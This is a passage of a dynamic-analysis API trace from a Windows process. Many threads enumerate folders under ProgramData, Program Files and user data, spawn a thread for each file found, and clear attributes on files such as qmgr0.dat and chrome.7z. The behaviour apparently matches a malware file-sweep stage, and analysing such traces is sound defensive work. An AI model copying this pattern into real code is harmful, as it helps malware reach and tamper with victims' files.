ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIT", cAlternateFileName="")) returned 1 [0066.429] wcscmp (_String1="AIT", _String2=".") returned 1 [0066.429] wcscmp (_String1="AIT", _String2="..") returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44ac10 [0066.429] wcscpy (in: _Dest=0x44ac10, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0066.429] wcscat (in: _Dest=0x44ac10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0066.429] wcscat (in: _Dest=0x44ac10, _Source="AIT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\AIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\AIT" Thread: id = 1490 os_tid = 0x1898 [0066.430] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44ac70 [0066.430] wcscpy (in: _Dest=0x44ac70, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0066.430] wcscat (in: _Dest=0x44ac70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0066.430] wcscat (in: _Dest=0x44ac70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\*" [0066.430] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427d38 [0066.430] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*", lpFindFileData=0x427d38 | out: lpFindFileData=0x427d38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a64e0 [0066.430] wcscmp (_String1=".", _String2=".") returned 0 [0066.430] FindNextFileW (in: hFindFile=0x4a64e0, lpFindFileData=0x427d38 | out: lpFindFileData=0x427d38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.430] wcscmp (_String1="..", _String2=".") returned 1 [0066.430] wcscmp (_String1="..", _String2="..") returned 0 [0066.430] FindNextFileW (in: hFindFile=0x4a64e0, lpFindFileData=0x427d38 | out: lpFindFileData=0x427d38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0066.430] wcscmp (_String1="MSFax", _String2=".") returned 1 [0066.430] wcscmp (_String1="MSFax", _String2="..") returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d528 [0066.431] wcscpy (in: _Dest=0x48d528, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0066.431] wcscat (in: _Dest=0x48d528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0066.431] wcscat (in: _Dest=0x48d528, _Source="MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0066.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc [0066.974] FindNextFileW (in: hFindFile=0x4a64e0, lpFindFileData=0x427d38 | out: lpFindFileData=0x427d38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0066.974] wcscmp (_String1="MSScan", _String2=".") returned 1 [0066.974] wcscmp (_String1="MSScan", _String2="..") returned 1 [0066.974] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x48df50 [0066.974] wcscpy (in: _Dest=0x48df50, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0066.974] wcscat (in: _Dest=0x48df50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0066.974] wcscat (in: _Dest=0x48df50, _Source="MSScan" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" [0066.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48df50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd6c [0066.975] FindNextFileW (in: hFindFile=0x4a64e0, lpFindFileData=0x427d38 | out: lpFindFileData=0x427d38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0066.975] FindClose (in: hFindFile=0x4a64e0 | out: hFindFile=0x4a64e0) returned 1 [0066.975] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427d38) returned 1 [0066.975] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ac70) returned 1 [0066.976] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413f40) returned 1 Thread: id = 1491 os_tid = 0x189c [0066.431] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414938 [0066.431] wcscpy (in: _Dest=0x414938, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0066.431] wcscat (in: _Dest=0x414938, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\" [0066.431] wcscat (in: _Dest=0x414938, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*" [0066.431] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x428470 [0066.431] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a66a0 [0066.432] wcscmp (_String1=".", _String2=".") returned 0 [0066.432] FindNextFileW (in: hFindFile=0x4a66a0, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.432] wcscmp (_String1="..", _String2=".") returned 1 [0066.432] wcscmp (_String1="..", _String2="..") returned 0 [0066.432] FindNextFileW (in: hFindFile=0x4a66a0, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0066.432] wcscmp (_String1="Profiles", _String2=".") returned 1 [0066.432] wcscmp (_String1="Profiles", _String2="..") returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d590 [0066.432] wcscpy (in: _Dest=0x48d590, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0066.432] wcscat (in: _Dest=0x48d590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\" [0066.432] wcscat (in: _Dest=0x48d590, _Source="Profiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" Thread: id = 1492 os_tid = 0x18a0 [0066.432] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414258 [0066.432] wcscpy (in: _Dest=0x414258, _Source="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" [0066.432] wcscat (in: _Dest=0x414258, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\" [0066.432] wcscat (in: _Dest=0x414258, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*" [0066.432] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427ad0 [0066.432] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x427ad0 | out: lpFindFileData=0x427ad0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a66e0 [0066.433] wcscmp (_String1=".", _String2=".") returned 0 [0066.433] FindNextFileW (in: hFindFile=0x4a66e0, lpFindFileData=0x427ad0 | out: lpFindFileData=0x427ad0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.433] wcscmp (_String1="..", _String2=".") returned 1 [0066.433] wcscmp (_String1="..", _String2="..") returned 0 [0066.433] FindNextFileW (in: hFindFile=0x4a66e0, lpFindFileData=0x427ad0 | out: lpFindFileData=0x427ad0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 1 [0066.433] wcscmp (_String1="Replicate", _String2=".") returned 1 [0066.433] wcscmp (_String1="Replicate", _String2="..") returned 1 [0066.433] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48da70 [0066.433] wcscpy (in: _Dest=0x48da70, _Source="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" [0066.433] wcscat (in: _Dest=0x48da70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\" [0066.433] wcscat (in: _Dest=0x48da70, _Source="Replicate" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" [0066.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48da70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb68 [0066.977] FindNextFileW (in: hFindFile=0x4a66e0, lpFindFileData=0x427ad0 | out: lpFindFileData=0x427ad0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 0 [0066.977] FindClose (in: hFindFile=0x4a66e0 | out: hFindFile=0x4a66e0) returned 1 [0066.977] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427ad0) returned 1 [0066.977] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414258) returned 1 [0066.977] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414990) returned 1 Thread: id = 1493 os_tid = 0x18a4 [0066.433] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48dad8 [0066.433] wcscpy (in: _Dest=0x48dad8, _Source="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" [0066.433] wcscat (in: _Dest=0x48dad8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" [0066.433] wcscat (in: _Dest=0x48dad8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*" [0066.433] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427130 [0066.434] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x427130) Thread: id = 1494 os_tid = 0x18a8 [0066.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\author.xsl")) Thread: id = 1495 os_tid = 0x18ac [0066.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\tag.xsl")) Thread: id = 1496 os_tid = 0x18b0 [0066.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\title.xsl")) Thread: id = 1497 os_tid = 0x18b4 [0066.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\year.xsl")) Thread: id = 1498 os_tid = 0x18b8 [0066.435] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z")) returned 0x20 [0066.436] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z", dwFileAttributes=0x20) Thread: id = 1499 os_tid = 0x18bc [0066.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413cd8 [0066.436] wcscpy (in: _Dest=0x413cd8, _Source="C:\\ProgramData\\Sun\\Java\\Java Update" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update") returned="C:\\ProgramData\\Sun\\Java\\Java Update" [0066.436] wcscat (in: _Dest=0x413cd8, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\" [0066.436] wcscat (in: _Dest=0x413cd8, _Source="*" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\*") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\*" [0066.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426790 [0066.437] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\*", lpFindFileData=0x426790 | out: lpFindFileData=0x426790*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6720 [0066.437] wcscmp (_String1=".", _String2=".") returned 0 [0066.437] FindNextFileW (in: hFindFile=0x4a6720, lpFindFileData=0x426790 | out: lpFindFileData=0x426790*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.437] wcscmp (_String1="..", _String2=".") returned 1 [0066.437] wcscmp (_String1="..", _String2="..") returned 0 [0066.437] FindNextFileW (in: hFindFile=0x4a6720, lpFindFileData=0x426790 | out: lpFindFileData=0x426790*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 1 [0066.437] wcscmp (_String1="jaureglist.xml", _String2=".") returned 1 [0066.437] wcscmp (_String1="jaureglist.xml", _String2="..") returned 1 [0066.437] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x5e46d48 [0066.437] wcscpy (in: _Dest=0x5e46d48, _Source="C:\\ProgramData\\Sun\\Java\\Java Update" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update") returned="C:\\ProgramData\\Sun\\Java\\Java Update" [0066.437] wcscat (in: _Dest=0x5e46d48, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\" [0066.437] wcscat (in: _Dest=0x5e46d48, _Source="jaureglist.xml" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" [0066.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1238 [0066.979] FindNextFileW (in: hFindFile=0x4a6720, lpFindFileData=0x426790 | out: lpFindFileData=0x426790*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 0 [0066.979] FindClose (in: hFindFile=0x4a6720 | out: hFindFile=0x4a6720) returned 1 [0066.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426790) returned 1 [0066.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413cd8) returned 1 [0066.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444c80) returned 1 Thread: id = 1500 os_tid = 0x18c0 [0066.438] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat")) returned 0x120 [0066.438] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat", dwFileAttributes=0x20) Thread: id = 1501 os_tid = 0x18c4 [0066.438] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat")) returned 0x120 [0066.438] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat", dwFileAttributes=0x20) Thread: id = 1502 os_tid = 0x18c8 [0066.439] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x4450e0 [0066.439] wcscpy (in: _Dest=0x4450e0, _Source="C:\\ProgramData\\Microsoft\\MSDN\\8.0" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0" [0066.439] wcscat (in: _Dest=0x4450e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\" [0066.439] wcscat (in: _Dest=0x4450e0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*" [0066.439] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b7258 [0066.439] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x4b7258 | out: lpFindFileData=0x4b7258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6760 [0066.439] wcscmp (_String1=".", _String2=".") returned 0 [0066.439] FindNextFileW (in: hFindFile=0x4a6760, lpFindFileData=0x4b7258 | out: lpFindFileData=0x4b7258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.439] wcscmp (_String1="..", _String2=".") returned 1 [0066.439] wcscmp (_String1="..", _String2="..") returned 0 [0066.440] FindNextFileW (in: hFindFile=0x4a6760, lpFindFileData=0x4b7258 | out: lpFindFileData=0x4b7258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0066.440] FindClose (in: hFindFile=0x4a6760 | out: hFindFile=0x4a6760) returned 1 [0066.440] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b7258) returned 1 [0066.440] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4450e0) returned 1 [0066.440] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445040) returned 1 Thread: id = 1503 os_tid = 0x18cc [0066.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x4176b0 [0066.441] wcscpy (in: _Dest=0x4176b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" [0066.441] wcscat (in: _Dest=0x4176b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\" [0066.441] wcscat (in: _Dest=0x4176b0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft 